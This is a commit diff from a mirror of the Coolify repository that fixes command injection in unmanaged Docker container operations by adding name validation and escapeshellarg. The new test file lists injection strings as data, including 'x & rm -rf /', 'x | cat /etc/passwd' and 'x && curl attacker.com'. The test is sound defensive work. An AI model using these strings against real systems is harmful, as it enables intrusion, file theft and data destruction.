mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-14 06:17:36 +00:00
fix(livewire): add input validation to unmanaged container operations (#9172)
This commit is contained in:
3 files changed
+52
-6
No files matched your search
@@ -3,6 +3,7 @@
|
||||
namespace App\Livewire\Server;
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Livewire\Component;
|
||||
|
||||
@@ -29,6 +30,11 @@ class Resources extends Component
|
||||
|
||||
public function startUnmanaged($id)
|
||||
{
|
||||
if (! ValidationPatterns::isValidContainerName($id)) {
|
||||
$this->dispatch('error', 'Invalid container identifier.');
|
||||
|
||||
return;
|
||||
}
|
||||
$this->server->startUnmanaged($id);
|
||||
$this->dispatch('success', 'Container started.');
|
||||
$this->loadUnmanagedContainers();
|
||||
@@ -36,6 +42,11 @@ class Resources extends Component
|
||||
|
||||
public function restartUnmanaged($id)
|
||||
{
|
||||
if (! ValidationPatterns::isValidContainerName($id)) {
|
||||
$this->dispatch('error', 'Invalid container identifier.');
|
||||
|
||||
return;
|
||||
}
|
||||
$this->server->restartUnmanaged($id);
|
||||
$this->dispatch('success', 'Container restarted.');
|
||||
$this->loadUnmanagedContainers();
|
||||
@@ -43,6 +54,11 @@ class Resources extends Component
|
||||
|
||||
public function stopUnmanaged($id)
|
||||
{
|
||||
if (! ValidationPatterns::isValidContainerName($id)) {
|
||||
$this->dispatch('error', 'Invalid container identifier.');
|
||||
|
||||
return;
|
||||
}
|
||||
$this->server->stopUnmanaged($id);
|
||||
$this->dispatch('success', 'Container stopped.');
|
||||
$this->loadUnmanagedContainers();
|
||||
|
||||
@@ -11,7 +11,9 @@ use App\Enums\ProxyTypes;
|
||||
use App\Events\ServerReachabilityChanged;
|
||||
use App\Helpers\SslHelper;
|
||||
use App\Jobs\CheckAndStartSentinelJob;
|
||||
use App\Jobs\CheckTraefikVersionForServerJob;
|
||||
use App\Jobs\RegenerateSslCertJob;
|
||||
use App\Livewire\Server\Proxy;
|
||||
use App\Notifications\Server\Reachable;
|
||||
use App\Notifications\Server\Unreachable;
|
||||
use App\Services\ConfigurationRepository;
|
||||
@@ -77,8 +79,8 @@ use Visus\Cuid2\Cuid2;
|
||||
* - Traefik image uses the 'latest' tag (no fixed version tracking)
|
||||
* - No Traefik version detected on the server
|
||||
*
|
||||
* @see \App\Jobs\CheckTraefikVersionForServerJob Where this data is populated
|
||||
* @see \App\Livewire\Server\Proxy Where this data is read and displayed
|
||||
* @see CheckTraefikVersionForServerJob Where this data is populated
|
||||
* @see Proxy Where this data is read and displayed
|
||||
*/
|
||||
#[OA\Schema(
|
||||
description: 'Server model',
|
||||
@@ -719,17 +721,17 @@ $schema://$host {
|
||||
|
||||
public function stopUnmanaged($id)
|
||||
{
|
||||
return instant_remote_process(["docker stop -t 0 $id"], $this);
|
||||
return instant_remote_process(['docker stop -t 0 '.escapeshellarg($id)], $this);
|
||||
}
|
||||
|
||||
public function restartUnmanaged($id)
|
||||
{
|
||||
return instant_remote_process(["docker restart $id"], $this);
|
||||
return instant_remote_process(['docker restart '.escapeshellarg($id)], $this);
|
||||
}
|
||||
|
||||
public function startUnmanaged($id)
|
||||
{
|
||||
return instant_remote_process(["docker start $id"], $this);
|
||||
return instant_remote_process(['docker start '.escapeshellarg($id)], $this);
|
||||
}
|
||||
|
||||
public function getContainers()
|
||||
@@ -1460,7 +1462,7 @@ $schema://$host {
|
||||
|
||||
public function restartContainer(string $containerName)
|
||||
{
|
||||
return instant_remote_process(['docker restart '.$containerName], $this, false);
|
||||
return instant_remote_process(['docker restart '.escapeshellarg($containerName)], $this, false);
|
||||
}
|
||||
|
||||
public function changeProxy(string $proxyType, bool $async = true)
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
it('rejects container IDs with command injection characters', function (string $id) {
|
||||
expect(ValidationPatterns::isValidContainerName($id))->toBeFalse();
|
||||
})->with([
|
||||
'semicolon injection' => 'x; id > /tmp/pwned',
|
||||
'pipe injection' => 'x | cat /etc/passwd',
|
||||
'command substitution backtick' => 'x`whoami`',
|
||||
'command substitution dollar' => 'x$(whoami)',
|
||||
'ampersand background' => 'x & rm -rf /',
|
||||
'double ampersand' => 'x && curl attacker.com',
|
||||
'newline injection' => "x\nid",
|
||||
'space injection' => 'x id',
|
||||
'redirect output' => 'x > /tmp/pwned',
|
||||
'redirect input' => 'x < /etc/passwd',
|
||||
]);
|
||||
|
||||
it('accepts valid Docker container IDs', function (string $id) {
|
||||
expect(ValidationPatterns::isValidContainerName($id))->toBeTrue();
|
||||
})->with([
|
||||
'short hex id' => 'abc123def456',
|
||||
'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2',
|
||||
'container name' => 'my-container',
|
||||
'name with dots' => 'my.container.name',
|
||||
'name with underscores' => 'my_container_name',
|
||||
]);
|
||||
Reference in new issue
Block a user